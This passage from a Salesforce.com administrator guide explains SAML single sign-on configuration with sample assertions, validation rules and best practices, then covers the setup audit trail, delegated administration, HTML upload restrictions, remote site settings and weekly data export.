<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>
</saml:SubjectConfirmation>
</saml:Subject>

Note: The name identifier can be any arbitrary string, including email addresses or numeric ID strings.

SAML User ID type is theSalesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <Attribute> element
SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
The following is a complete SAML response, for SAML 2.0:

<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

232
Security and Sharing About Single Sign-On

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">
saml01@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"
Recipient="https://login.www.salesforce.com"/>
</saml:SubjectConfirmation>
</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

233
Security and Sharing About Single Sign-On

</saml:Assertion>
</samlp:Response>

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

Viewing Single Sign-on Settings


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

After you have configured your Salesforce.com organization to use SAML, you can view the single sign-on settings. Click
Setup ➤ Security Controls ➤ Single Sign-on Settings.
This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you
configured SAML. The following fields contain information automatically generated by completing the configuration. The
available fields depend on your configuration.

Field Description
Salesforce.com Logout Displays the Salesforce.com logout URL that the user is directed to after he or she logs off.
URL This URL is only used if no value is specified for Identity Provider Logout URL.

From this page you can do any of the following:

• Click Edit to change the existing SAML configuration.

234
Security and Sharing About Single Sign-On

• Click SAML Assertion Validator to validate the SAML settings for your organization.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Validating SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

After you have configured the SAML settings for single-sign on, you can validate the settings as follows:

1. Click Setup ➤ Security Controls ➤ Single Sign-On Settings, configure Salesforce.com for SAML, then click SAML
Assertion Validator.
2. Enter your SAML response into the text box, and click Validate. You can use either a text or a base64 encoded response.

Salesforce.com imposes the following validity requirements on assertions:


Authentication Statement
You must include an <AuthenticationStatement> in the assertion.

Conditions Statement
If the assertion contains a <Conditions> statement, it must contain a valid timestamp.

Timestamps
The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five
minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences
between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid.

235
Security and Sharing About Single Sign-On

Attribute
If your configuration is set to User ID is in an Attribute element, your assertion must contain an
<AttributeStatement>.

If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the
<AttributeStatement>.

If you are using SAML 2.0, <AttributeName> is required.

Format
The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.

For example:

<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

The following example is also valid:

<saml:Issuer >https://www.salesforce.com</saml:Issuer>

Issuer
The issuer specified in an assertion must match the issuer specified in Salesforce.com.

Subject
The subject of the assertion must be resolved to be either the Salesforce.com username or the Federation ID of the user.

Audience
The <Audience> value is required and must be https://saml.salesforce.com.

Recipient
The recipient specified in an assertion must match the recipient specified in the Salesforce.com configuration.

Signature
A valid signature must be included in the assertion. The signature must be created using the private key associated with
the certificate that was provided in the SAML configuration.

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

236
Security and Sharing About Single Sign-On

Best Practices for Implementing Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Salesforce.com offers the following ways to use single sign-on:

• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..

Delegated Authentication Best Practices


Consider the following best practices when implementing delegated authentication single sign-on for your organization.
• Your organization’s implementation of the Web service must be accessible by salesforce.com servers. This means you must
deploy the Web service on a server in your DMZ. Remember to use your server’s external DNS name when entering the
Delegated Gateway URL in the Delegated authentication section at Setup ➤ Security Controls ➤ Single Sign-On
Settings in Salesforce.com.
• If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt
fails. An error is reported to the user indicating that his or her corporate authentication service is down.
• Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server
stub from the WSDL to ensure accuracy.
• For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a
trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com.
• The IP address that originated the login request is sourceIp. Use this information to restrict access based on the user’s
location. Note that the Salesforce.com feature that validates login IP ranges continues to be in effect for single sign-on
users. For more information, see Restricting Login IP Ranges on Profiles on page 177.
• You may need to map your organization’s internal usernames and Salesforce.com usernames. If your organization does not
follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include
the Salesforce.com username as an attribute of a user account. Your authentication service can then use this attribute to
map back to a user account.

237
Security and Sharing About Single Sign-On

• We recommend that you do not enable single sign-on for the system administrator’s profile. If your system administrators
are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce.com. System
administrators should always be able to log in to Salesforce.com so they can disable single sign-on in the event of a problem.
• We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before
implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com.
• Make sure to test your implementation with Salesforce.com clients such as Connect for Outlook, Connect for Office, and
Connect Offline. For more information, see Single Sign-On for Salesforce.com clients.

Federated Authentication using SAML Best Practices


Consider the following best practices when implementing federated single sign-on with SAML for your organization.
• Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of
your Identity Provider.
• Your identity provider must allow you to set the Service Provider's Audience URL, and it must be set to
https://saml.salesforce.com.
• Salesforce.com allows a maximum of five minutes for clock skew with your IDP server, make sure your server's clock is
up-to-date.
• If you are unable to log in with SAML assertion, always check the login history and note the error message.
• You need to map your organization’s internal usernames and Salesforce.com usernames. You have two choices to do this:
add a unique identifier to the FederationIdentifier field of each Salesforce.com user, or extend your user database
schema (for example, Active Directory) to include the Salesforce.com username as an attribute of a user account. Choose
the corresponding option for the SAML User ID Type field and configure your authentication service to send the identifier
in SAML assertions.
• Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the
necessary configurations.
• We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To
sign up for a free Developer Edition account, go to developer.force.com.
• All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved,
except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated
to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML
in the sandbox copy, click Setup ➤ Security Controls ➤ Single Sign-On Settings; then click Edit, and select SAML
Enabled.

See Also:
About Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

238
Security and Sharing About Single Sign-On

Enabling Single Sign-On for Portals


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
You can set up Customer Portals and partner portals to use single sign-on, so that a customer only has to login once.
To enable single sign-on for portals:

1. Configure Salesforce.com for SAML.


2. In the SAML assertion, add the portal_id and organization_id as attributes. To find these IDs:

a. Click Setup ➤ Company Profile ➤ Company Information and copy the ID located in the Salesforce.com
Organization ID.
b. For Customer Portals, click Setup ➤ Customize ➤ Customer Portal ➤ Settings, click the name of the Customer
Portal, and copy the ID located in the Portal ID.
For partner portals, click Setup ➤ Customize ➤ Partners ➤ Settings, click the name of the partner portal, and copy
the ID located in the salesforce.com Portal ID.

Best Practices for Implementing Single Sign-On for Portals


• Only SAML version 2.0 can be used with portals.
• Only Customer Portals and partner portals are supported.
• Service provider initiated login is not supported.
• Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified,
the user receives an error.
• If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to
that portal login. If neither is populated, the user is directed to the regular SAML Salesforce.com login.
• More than one portal can be used with a single organization.

239
Security and Sharing About Single Sign-On

Sample SAML Assertions


The following shows the portal_id and organization_id attributes in a SAML assertion statement:

<saml:AttributeStatement>
<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type=“xs:anyType”>060D00000000SHZ</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

The following is a complete SAML assertion statement. The organization is using federated sign-on, which is included in an
attribute, not in the subject.

<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://www.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null
</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"
Recipient="https://www.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>
</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute FriendlyName=“Friendly Name” Name=“federationId”


NameFormat=“urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified”>
<saml:AttributeValue xsi:type=“xs:string”>saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type=“xs:string”>SomeOtherValue

240
Security and Sharing Monitoring Setup Changes

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type=“xs:anyType”>00DD0000000F7Z5
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/qa/security/saml/saml20-gen.jsp
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/qa/security/del_auth/SsoLogoutPage.html
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

See Also:
About Single Sign-On
Configuring SAML Settings for Single Sign-On
Best Practices for Implementing Single Sign-On
Partner Portal Overview
Setting Up Your Customer Portal

Monitoring Setup Changes


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view audit trail history: “View Setup and Configuration”

The setup audit trail history helps you track the recent setup changes that you and other administrators have made to your
organization. This can be especially useful in organizations with multiple administrators.
To view the setup audit trail history, click Setup ➤ Security Controls ➤ View Setup Audit Trail. To download your
organization’s full setup history for the past 180 days, click the Download link.

241
Security and Sharing Monitoring Setup Changes

The setup audit trail history shows you the 20 most recent setup changes made to your organization. It lists the date of the
change, who made it, and what the change was.
The setup audit trail history tracks the following types of changes:

Setup Changes Tracked


Administration • Company information, default settings such as language or locale, and company message changes
• Multiple currency setup changes
• User, portal user, role, and profile changes
• Email address changes for any user
• Record type changes, including creating or renaming record types and assigning record types to
profiles
• Changes to divisions, including creating and editing divisions, transferring divisions, and changing
users’ default division

Customization • Changes to user interface settings, such as collapsible sections, Quick Create, hover details, or the
related list hover links
• Page layout and search layout changes
• Changes made using inline editing
• Custom field and field-level security changes, including changes to formulas, picklist values, and
custom field attributes like the format of auto-number fields or masking of encrypted fields
• Changes to lead settings, lead assignment rules, and lead queues
• Changes to activity settings
• Changes to support settings, business hours, case assignment and escalation rules, and case queues
• Any changes made by salesforce.com Customer Support at your request
• Changes to tab names, including tabs that you reset to the original tab name
• Changes to custom apps, custom objects, and custom tabs
• Changes to contract settings
• Changes to forecast settings
• Enabling or disabling Email-to-Case or On-Demand Email-to-Case
• Changes to custom buttons, links, and s-controls, including standard button overrides
• Enabling or disabling drag-and-drop scheduling
• Enabling, disabling, or customizing similar opportunities
• Changes to data category groups and data categories
• Changes to article types
• Changes to category groups and categories

Security and • Public groups, sharing rule changes, and organization-wide sharing, including the Grant Access
Sharing Using Hierarchies option
• Password policy changes
• Session settings changes, such as changing the session timeout setting
• Changes to delegated administration groups and the items delegated administrators can manage.
Setup changes made by delegated administrators are tracked as well.
• How many records a user emptied from their Recycle Bin and from the organization's Recycle Bin
• Changes to SAML (Security Assertion Markup Language) configuration settings

242
Security and Sharing Monitoring Setup Changes

Setup Changes Tracked


Data Management • Mass delete use, including when a mass delete exceeds the user's Recycle Bin limit of 5000 deleted
records. The oldest, excess records will be permanently removed from the Recycle Bin within two
hours of the mass delete transaction time.
• Weekly data export requests
• Use of the campaign member import wizard
• Mass transfer use
• Changes to analytic snapshots, including defining, deleting, or changing the source report or target
object on an analytic snapshot
• Import wizard use

Development • Changes to Apex classes and triggers


• Changes to Visualforce pages, custom components, or static resources

Various Setup • Creation of an API usage metering notification


• Changes to territories
• Changes to Workflow & Approvals settings
• Changes to approval processes
• Creation and deletion of workflow actions
• Packages from Force.com AppExchange that you installed or uninstalled

Using the • Changes to account team and opportunity team selling settings
application • Activation of Google Apps services
• Changes to Salesforce CRM Ideas settings
• Changes to mobile configuration settings, including data sets, mobile views, and excluded fields
• A user with the “Manage Partners” permission logging into the partner portal as a partner user
• A user with the “Edit Self-Service Users” permission logging into the Salesforce.com Customer
Portal as a Customer Portal user
• Enabling or disabling a partner portal account
• Disabling a Salesforce.com Customer Portal account
• Enabling or disabling a Salesforce.com Customer Portal and creating multiple Customer Portals
• Enabling or disabling self-registration for a Salesforce.com Customer Portal
• Enabling or disabling Customer Portal or partner portal users

243
Security and Sharing Delegating Administrative Duties

Delegating Administrative Duties


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Use delegated administration to assign limited administrative privileges to selected non-administrator users in your organization.
Delegated administrators can perform the following tasks:

• Creating and editing users and resetting passwords for users in specified roles and all subordinate roles, including setting
quotas, creating default sales teams, and creating personal groups for those users
• Assigning users to specified profiles
• Logging in as a user who has granted login access to their administrator
• Managing custom objects created by an administrator

For example, you may want to allow the manager of the Customer Support team to create and edit users in the Support
Manager role and all subordinate roles. This allows the administrator to focus on tasks other than managing users for every
department that uses Salesforce.com.
To create delegated groups, click Setup ➤ Security Controls ➤ Delegated Administration, then click New.
To manage your delegated groups:

• Click Edit next to a group to modify it.


• Select a group and click Delete to remove it.
• Select a group and click Remove next to the user in the Delegated Administrators related list to remove a user from that
delegated group.

Note: To delegate administration of particular objects, use object-level profile permissions, such as “View All” and
“Modify All.” For more information, see Standard and Custom Object Permissions on page 162.

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Custom Object Administration

244
Security and Sharing Delegating Administrative Duties

Defining Delegated Administrators


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Define delegated administration groups to specify groups of users who you want to have the same administrative privileges.
These groups are not related to public groups used for sharing.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Click New.
3. Enter a group name.
4. Select Enable Group for Login Access if you want to allow delegated administrators in this group to log in as users
who have granted login access to their administrators and are in the roles selected for the delegated administrator group.
To find out how users can grant login access to their administrators, see Granting Login Access on page 51.
5. Click Save.
6. Click Add in the Delegated Administrators related list to specify the users in this delegated group.
7. Use the magnifying glass lookup icon to find and add users to the group. The users must have the “View Setup and
Configuration” permission.
8. Click Save.
9. See Delegating User Administration on page 246 and Delegating Custom Object Administration on page 247 to specify
what tasks these users can perform.

See Also:
Delegating Administrative Duties

245
Security and Sharing Delegating Administrative Duties

Delegating User Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Enable delegated administrators to manage users in specified roles and all subordinate roles, assign specified profiles to those
users, and log in as users who have granted login access to administrators.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Select the name of an existing delegated administration group.
3. Click Add in the User Administration related list.
4. Use the magnifying glass lookup icon to find and add roles. Delegated administrators can create and edit users in these
roles and all subordinated roles.
5. Click Save.
6. Click Add in the Assignable Profiles related list.
7. Use the magnifying glass lookup icon to find and add profiles. Delegated administrators can assign these profiles to the
users they create and edit. Note that profiles with the “Modify All Data” permission cannot be assigned by delegated
administrators.
Note: If a user is a member of more than one delegated administration group, be aware that he or she can assign
any of the assignable profiles to any of the users in roles he or she can manage.

8. Click Save.
9. See Delegating Custom Object Administration on page 247 to specify what custom objects the delegated administrators
can manage.

To remove roles or profiles from the list of items the delegated administrators can use, click Remove next to the role or profile.

See Also:
Defining Delegated Administrators
Delegating Administrative Duties

246
Security and Sharing Delegating Administrative Duties

Delegating Custom Object Administration


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delegate administration: “Customize Application”
To be a delegated administrator: “View Setup and Configuration”

Enable delegated administrators to manage custom objects that have been created by an administrator.

1. Click Setup ➤ Security Controls ➤ Delegated Administration.


2. Select the name of an existing delegated administration group.
3. From the detail page of the delegated administration group, click Add in the Custom Object Administration related list.
4. Use the magnifying glass lookup icon to find and add custom objects. Delegated administrators can customize nearly every
aspect of a custom object, including creating a custom tab for it.
5. Click Save. Click Save & More to add additional custom objects.

To remove a custom object from the list of items the delegated administrators can manage, click Remove next to the custom
object.

Notes on Delegated Administration of Custom Objects


• Delegated administrators can customize nearly every aspect of the custom object, including creating a custom tab for it.
However, they cannot create or modify relationships on the object or set organization-wide sharing defaults.
• Delegated administrators need to have access to custom objects if they need to access the merge fields on those objects
from formulas.

See Also:
Defining Delegated Administrators
Delegating User Administration
Delegating Administrative Duties

Concurrent Usage Limits


Available in: All Editions

To ensure that resources are available for all Salesforce.com users, limits are placed on the number of long-running Web
requests that one organization can send at the same time. This kind of limit is called a maximum concurrent Web requests limit.
Salesforce.com monitors the number of concurrent requests issued by all users logged in to your organization, and compares

247
Security and Sharing Enabling the Account Owner Report

that number against the maximum limit. In this way, salesforce.com keeps the number of concurrent requests below the
maximum limit. The limit ensures that resources are available uniformly to all organizations and prevents deliberate or accidental
over-consumption by any one organization.
If too many requests are issued by users in your organization, you may have to wait until one of them has finished before you
can perform your task. For example, assume that MyCorporation has 100,000 users. At 9:00 AM, each user requests a report
that contains 200,000 records. Salesforce.com starts to run the report for all users until the maximum number of concurrent
requests has been met. At that point, Salesforce.com refuses to take any additional requests until some of the reports have
completed.
Similar limits are placed on requests issued from the Force.com Web services API. For more information, see Force.com API
Usage Limits on page 1071.

Enabling the Account Owner Report


Available in: Professional, Enterprise, Unlimited, and Developer Editions.

User Permissions Needed


To show or hide account owner report: “Customize Application”

Organizations that have their organization-wide sharing access level set to Private for accounts may want to restrict users from
running the Account Owner report, which lists all accounts and who owns them.
To show or hide this report:

1. Click Setup ➤ Security Controls.


2. Click Account Owner Report. This option is available only in organizations that have a private account sharing model.
3. Select the checkbox to allow all users to run this report. If you leave the box unchecked, only administrators and users with
the “View All Data” permission can run this report.
4. Click Save.

Prohibiting HTML Attachments and Documents


Available in: All Editions

User Permissions Needed


To prohibit uploading of HTML attachments and documents: “Customize Application”

For security reasons, your organization may want to prohibit users from uploading HTML files. The Disallow HTML
documents and attachments security setting, if enabled, blocks users from uploading any file to the Documents tab or
as an attachment to a record if it has one of the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml,
acgi.

248
Security and Sharing Configuring Remote Settings

To prohibit uploading of HTML attachments and documents:

1. Click Setup ➤ Security Controls ➤ HTML Documents and Attachments Settings.


2. Select the Disallow HTML documents and attachments checkbox.
3. Click Save.

Note: HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In
addition, this setting does not affect attachments on email templates; HTML attachments on email templates are
always permitted.
After this setting is enabled, previously-uploaded HTML documents and attachments are unaffected. However, when
users attempt to view an HTML attachment or document, their browser first prompts them to open the file in the
browser, save it to their computer, or cancel the action.

Caution: Do not enable this setting if your organization uses the Salesforce.com partner portal to give your partner
users access to Salesforce.com.

See Also:
Adding Attachments
Uploading and Replacing Documents

Configuring Remote Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure remote settings: “Modify All Data”

Before any Visualforce page, Apex callout, or JavaScript code using XmlHttpRequest in an s-control or custom button can
call an external site, that site must be registered in the Remote Site Settings page, or the call will fail.
To access the page, click Setup ➤ Security Controls ➤ Remote Site Settings. This page displays a list of any remote sites
already registered and provides additional information about each site, including remote site name and URL.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:

• 80: This port only accepts HTTP connections.


• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

To register a new site:

1. Click New Remote Site.


2. Enter a descriptive term for the Remote Site Name.
3. Enter the URL for the remote site.

249
Security and Sharing Configuring Remote Settings

4. To allow s-controls to access the remote site regardless of whether the user's connection is over HTTP or HTTPS, select
the Disable Protocol Security checkbox. When selected, s-controls can pass data from an HTTPS session to an
HTTP session, and vice versa. Only select this checkbox if you understand the security implications.
5. Optionally, enter a description of the site.
6. Click Save to finish, or click Save & New to save your work and begin registering an additional site.

250
DATA MANAGEMENT

Exporting Backup Data


Available in: Enterprise, and Unlimited Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To export data: “Weekly Data Export”

Your organization can sign up to receive backup files of your data. You can export all of your organization's data into a set of
CSV (comma-separated values) files. To sign up for the Data Export Service, contact salesforce.com.
Note: If you give a user the “Weekly Data Export” permission, which is needed to export data, he or she has view
access to all data that is exported, and can see all custom objects and fields in the Weekly Export Service page. This
permission is granted by default only to the System Administrator profile because of the wide visibility it enables.

If your organization is configured for data export, you can generate backup files manually once every six days or schedule them
to generate automatically at weekly or monthly intervals.

1. Click Setup ➤ Data Management ➤ Data Export and Export Now or Schedule Export. The Export Now option
prepares your files for export immediately. This option is only available if a week has passed since your last export. The
Schedule Export option allows you to schedule the export process for weekly or monthly intervals.
2. Select the desired encoding for your export file.
3. Select Include attachments... if you want your export data to include attachments.
4. Select Replace carriage returns with spaces if you want your export files to have spaces instead of carriage
returns or line breaks. This may be useful if you plan to use your export files for importing or other integrations.
5. If you are scheduling your export, select the frequency, start and end dates, and time of day for your scheduled export.
6. Select the types of data to include in your export. If desired, you can include all data in your export file. We recommend
that you include all data if you are not familiar with the terminology used for some of the types of data. Note the following:

• Formula and roll-up summary fields are always excluded from exports.
• Articles are excluded from exports.
• If your organization uses divisions, data from all divisions is included in the export.
• If your organization uses person accounts and you are exporting accounts, all account fields are included in the account
data. For more information on account fields, see Account Fields on page 1138.
• If your organization uses person accounts and you are exporting contacts, person account records are included in the
contact data. However, the contact data only includes the fields shared by contacts and person accounts.

7. If you are running the export now, click Start Export. If you scheduled the export, click Save.
Salesforce.com creates a zip archive of CSV files and emails you when it's ready. Exports typically finish within 48 hours
of submission. Follow the link in the email or click Data Export to download the zip file. Zip files are deleted 48 hours
after the email is sent.

251
Data Management Exporting Backup Data

Note: For security purposes, Salesforce.com may require users to pass a user verification test to export data from
their organization. This simple, text-entry test helps prevent malicious programs from accessing your organization's
data.
To pass the test, users must type the two words displayed on the overlay into the overlay's text box field, and click
the Submit button. Note that the words entered into the text box field must be separated by a space.
Salesforce.com uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an
automated program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for
“Completely Automated Public Turing Test To Tell Computers and Humans Apart”.

Tip: Any automated processes that process the export files should rely on the column headings in the CSV files, rather
than the position of the columns.

Depending on the encoding selected, you may have to make adjustments to the export file before viewing it. Use the following
instructions that apply to the character encoding you selected.

Viewing Unicode (UTF-8) Encoded Export Files


If you have Microsoft Excel 2003:
1. Open Microsoft Excel.
2. Click File ➤ New.
3. Click Data ➤ Import External Data ➤ Import Data.
4. Select the CSV file to open and Microsoft Excel will launch the text import wizard.
5. Select “Delimited” and choose the “Unicode (UTF-8)” option for File origin.
6. Click Next.
7. Select “Comma” in the Delimiters section and click Finish. You may be prompted to select a range of cells.
